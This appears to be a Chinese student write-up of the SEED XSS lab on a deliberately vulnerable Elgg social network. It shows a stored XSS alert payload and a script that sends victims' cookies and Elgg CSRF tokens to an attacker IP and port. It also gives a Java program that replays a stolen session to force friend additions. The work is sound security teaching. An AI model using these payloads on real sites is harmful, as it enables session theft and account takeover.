Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验

Posted 我有一颗五角星

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验相关的知识,希望对你有一定的参考价值。

实验描述

①实验概观

跨站点脚本(XSS)是通常在Web应用程序中发现的一种计算机安全漏洞。此漏洞可使攻击者将恶意代码(例如javascript)插入受害者的Web浏览器。使用这种恶意代码,攻击者可以窃取受害者的凭据,如Cookie。可以通过利用XSS漏洞来绕过浏览器用于保护这些凭据的访问控制策略(即,同源策略)。这类漏洞已经被利用来制作强大的网络钓鱼攻击和浏览器攻击。

为了展示利用XSS漏洞攻击者可以做什么,我们在预制的Ubuntu VM映像中设置了名为ElggWeb应用程序。Elgg是社交网络非常受欢迎的开源Web应用程序,它已经实施了一些对抗措施来弥补XSS的威胁。为了演示XSS攻击如何工作,我们已经在Elgg的安装中取消了这些对抗措施,故意使Elgg容易遭受XSS攻击。没有这些对抗措施,用户可以将任意消息(包括JavaScript程序)发布到user profiles。在这个实验中,学生们需要利用这个漏洞,对修改后的Elgg进行XSS攻击,其方式与Samy Kamkar2005年通过臭名昭著的Samy蠕虫对MySpace做了类似的处理。这种攻击的最终目标是在用户之间传播XSS蠕虫,以便任何查看受感染用户个人资料的用户被感染,被感染的人会将你(即攻击者)添加到他/她的朋友列表中。

②实验环境

1)操作系统

实验使用seed-ubuntu-12.04系统,可在seed官网下载(包括实验程序)。

官网Link: http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Web/Web_XSS_Elgg/

2)网络设置

实验的前3task可使用一台虚拟机完成,task4需要两台虚拟机。

3)实验工具

Firefox web browser (Live HTTP Headers)

如何使用火狐浏览器的Live HTTP Headers扩展

Step1 : run the Firefox web browser

Step2 : "Add-ons" in "Tools" Tab

Step3 : Select "Extensions" -> "Live HTTP headers..." -> "Preferences"

 

Apache web server

可以下面两条指令启动Apache

service apache2 start
or
/etc/init.d/apache2 start


Elgg web application

我们在本实验中使用一款称为Elgg的开源Web应用程序。Elgg是一个基于网络的社交网络应用程序。它已经在预构建的Ubuntu VM映像中安装,同时Elgg服务器上也创建了多个用户帐户,账户信息如下:


这些实验工具包括火狐浏览器Live HTTP Headers扩展工具都已在预构建的虚拟机镜像(seed-ubuntu-12.04)中安装。

 

其他软件

task3,我们需要一个实用程序来观察在特定TCP端口上的传入请求。SEEDLABS官网提供了tcp server

下载链接:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Web/Web_XSS_Elgg/files/echoserv.tar

解压指令:tar -xvf echoserv.tar

接下来按照echoserver目录下Makefile文件提供的编译指令编译即可。(注意顺序)


实验过程

Task1:Posting a Malicious Message to Display an Alert Window

任务的目标是在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript程序用于显示一个警告窗口:

<script>alert('XSS');</script>
如果我(Alice)将上面的JavaScript代码插入自己的profile(比如在the Brief desription域中),然后使用另一个用户(Boby)登录并查看Alice的profile,则将会看到警告窗口。

AliceBrief description域中添加JavaScript代码并保存



Boby查看Aliceprofile,显示警告窗口


在这种情况下,使用的JavaScript代码足够短,所以能够键入短的描述字段。如果我们想运行一段长的JavaScript代码,为了不受字段字符数量的限制,我们可以把JavaScript程序保存在.js文件内,然后在<script>标签内使用src属性进行引用。示例:

Step1:配置DNS

使用gedit /etc/hosts命令添加下面的条目


图中的URL只能从虚拟机内部访问,因为/ etc / hosts文件将每个URL的域名映射到虚拟机的本地IP地址(127.0.0.1)。


Step2:配置Apache

我们使用Apache服务器托管实验室中使用的所有网站。Apache中的基于名称的虚拟主机功能可用于在同一台机器上托管多个网站(或URL)。在/etc/apache2/sites-available/default配置文件中添加如下指令


这样,我们使用www.example.com这个域名访问的网站实际上是本地/var/www/Example/目录下的文件。


Step3:重启Apache,使更改生效

service apache2 restart
or
/etc/init.d/apache2 restart


Step4:在/var/www/Example/目录下创建myscript.js文件,添加JavaScript代码



Step5:测试

Aliceprofile Brief description中添加如下代码并保存

<script type="text/javascript"src="http://www.example.com/myscripts.js"> </script>


这样当其他用户查看Alice的profile时,即可显示警告窗。

Task2: Posting a MaliciousMessage to Display Cookies

这个任务的目的是将一个JavaScript程序嵌入到Elgg profile中,以便当另一个用户查看你的资料时,用户的cookies将显示在警报窗口中。这可以通过在上一个任务中的JavaScript程序中添加一些附加代码实现。


myscript.js文件中添加“alert(document.cookie);



Boby查看Aliceprofile时,将会在警告框内显示自己的cookies信息。



Task3: Stealing Cookiesfrom the Victim's Machine

在之前的任务中,攻击者编写的恶意JavaScript代码可以打印出用户的Cookie,但只有用户可以看到cookies,而不是攻击者。在这个任务中,攻击者希望JavaScript代码将cookie发送给自己。为了实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。我们可以通过使恶意的JavaScript插入一个<img>标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面给出的JavaScriptcookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。


攻击者嵌入的JavaScript代码:(192.168.175.168为攻击者的IP

<script>document.write('<imgsrc=http://192.168.175.168:5555?c=' + escape(document.cookie) + ' >');</script>


攻击者执行./echoserv 5555命令,监听5555端口。当用户访问Alice profile时,打印出当前用户的cookies



Task4: Session Hijackingusing the Stolen Cookies

在窃取受害者的cookies之后,攻击者可以对Elgg网络服务器做任何事情,包括代表受害者添加和删除朋友,删除受害者的帖子等。本质上,攻击者已经劫持了受害者的会话。在这个任务中,我们将发起这个会话劫持攻击,并写一个程序来代表受害者添加一个朋友。

攻击应该从另一个虚拟机启动。网络拓扑结构如下:

 

IP

AttackersAlice

192.168.175.168

VictimBoby

192.168.175.169

攻击者修改/etc/hosts文件:


这样攻击者的Elgg服务器的IP地址指向了受害者的主机IP地址。


为了给受害者添加一个朋友,我们应该首先找出合法用户如何在Elgg中添加一个朋友。更具体地说,我们需要确定当用户添加一个朋友时发送到服务器的内容。 FirefoxLive HTTP Headers扩展可以帮助我们;它可以显示从浏览器发送的任何HTTP请求消息的内容。从内容中,我们可以识别请求中的所有参数。

Live HTTP Headers的屏幕截图如下图所示:



一旦我们了解了添加朋友的HTTP请求的样子,我们可以编写一个Java程序来发出相同的HTTP请求。Elgg服务器无法区分用户的浏览器或攻击者的Java程序是否发出请求。只要我们正确设置所有参数,并且连接会话cookie,服务器将接受并处理项目发布的HTTP请求。为了简化实验,我们为您提供了一个示例Java程序,执行以下操作:

1. Open a connection to web server.

2. Set the necessary HTTP header information.

3. Send the request to web server.

4. Get the response from web server.


参照上图,红框内标标出了添加朋友时合法HTTP请求需要设置的属性,下面依次讲述攻击者如何获取这些属性。

1friend_user_id。表示待添加的朋友的用户id,攻击者(Alice)想让其他用户添加自己,则这个idAlice的用户id。因为我们知道多个用户的账号和密码,则可以通过使用其他用户添加Alice为好友,并用Live HTTP Headers捕获数据包的方式,来获得Aliceid


从截图中可以看出Alice’s id = 39


(2)当前用户的cookies、__elgg_ts和__elgg_token

参照task3,Alice在profile Briefdescription域添加如下JavaScript代码

<script>document.write('<imgsrc=http://192.168.175.168:5555?c=' + escape(document.cookie)+'+'+elgg.security.token.__elgg_ts+'+'+elgg.security.token.__elgg_token +'>'); </script>

同时攻击者使用tcp server监听5555端口,当用户访问Alice profile时,打印出当前用户的cookies、__elgg_ts和__elgg_token。



(3)User-Agent

在示例Java程序中已经为我们设置,因为我们用Java程序实现发送HTTP请求,同时预构建的虚拟机镜像(seed-ubuntu-12.04)中安装的jdk版本为1.6。所以设置User-Agent为“Sun JDK 1.6”。

 

(4)其他

其他的属性和截图内容相同。

 

完成Java程序

import java.io.*;
import java.net.*;
 
public classHTTPSimpleForge 
 
         public static void main(String[] args)throws IOException 
                  try 
                          int responseCode;
                          InputStream responseIn= null;
                          String requestDetails="&__elgg_ts=1494754861&__elgg_token=20f1bf8f88507f954b5d237024d6f885";
                          // URL to be forged.
                          URL url = new URL(
                                            "http://www.xsslabelgg.com/action/friends/add?friend=39"+ requestDetails);
                          // URLConnectioninstance is created to further parameterize a
                          // resource requestpast what the state members of URL instance can
                          // represent.
                          HttpURLConnectionurlConn = (HttpURLConnection) url.openConnection();
                          if (urlConn instanceofHttpURLConnection) 
                                   urlConn.setConnectTimeout(60000);
                                   urlConn.setReadTimeout(90000);
                          
                          // addRequestPropertymethod is used to add HTTP Header Information.
                          // Here we addUser-Agent HTTP header to the forged HTTP packet.
                          // Add other necessaryHTTP Headers yourself. Cookies should be
                          // stolen using themethod in task3.
                          urlConn.addRequestProperty("Host","www.xsslabelgg.com");
                          urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
                          urlConn.addRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                          urlConn.addRequestProperty("Accept-Language","en-US,en;q=0.5");
                          urlConn.addRequestProperty("Accept-Encoding","gzip, deflate");
                          urlConn.addRequestProperty("Referer","http://www.xsslabelgg.com/profile/alice");
                          urlConn.addRequestProperty("Cookie","Elgg=bo9o72km77k23a7rgu69lsug91");
                          urlConn.addRequestProperty("Connection","keep-alive");
                          // HTTP Post Datawhich includes the information to be sent to the
                          // server.
                          // String data ="name=...&guid=..";
                          String data ="";
                          // DoOutput flag ofURL Connection should be set to true to send
                          // HTTP POST message.
                          urlConn.setDoOutput(true);
                          // OutputStreamWriteris used to write the HTTP POST data to the url
                          // connection.
                          OutputStreamWriter wr= new OutputStreamWriter(urlConn.getOutputStream());
                          wr.write(data);
                          wr.flush();
                          // HttpURLConnection asubclass of URLConnection is returned by
                          //url.openConnection() since the url is an http request.
                          if (urlConn instanceofHttpURLConnection) 
                                   HttpURLConnectionhttpConn = (HttpURLConnection) urlConn;
                                   // Contactsthe web server and gets the status code from HTTP
                                   // Responsemessage.
                                   responseCode= httpConn.getResponseCode();
                                   System.out.println("ResponseCode = " + responseCode);
                                   // HTTP status code HTTP_OK means theresponse was received
                                   //sucessfully.
                                   if(responseCode == HttpURLConnection.HTTP_OK)
                                            //Get the input stream from url connection object.
                                            responseIn= urlConn.getInputStream();
                                   // Create aninstance for BufferedReader to read the response
                                   // line byline.
                                   BufferedReaderbuf_inp = new BufferedReader(new InputStreamReader(responseIn));
                                   StringinputLine;
                                   while((inputLine = buf_inp.readLine()) != null) 
                                            System.out.println(inputLine);
                                   
                          
                   catch (MalformedURLExceptione) 
                          e.printStackTrace();
                  
         
 


攻击者编译并执行


根据结果发现:HTTP返回码为200,内容是html文档。

 

结果验证

查看Boby的好友列表,发现Alice已经成为他的好友

攻击前:



攻击后:


Alice成功让访问自己个人资料的用户添加自己为好友。



以上是关于Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验的主要内容,如果未能解决你的问题,请参考以下文章

Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验

Cross-Site Scripting

SeedLab - Cross-Site Scripting Attack

Fortify--Cross-Site Scripting:DOM

XSS跨站脚本总结

django 浅谈CSRF(Cross-site request forgery)跨站请求伪造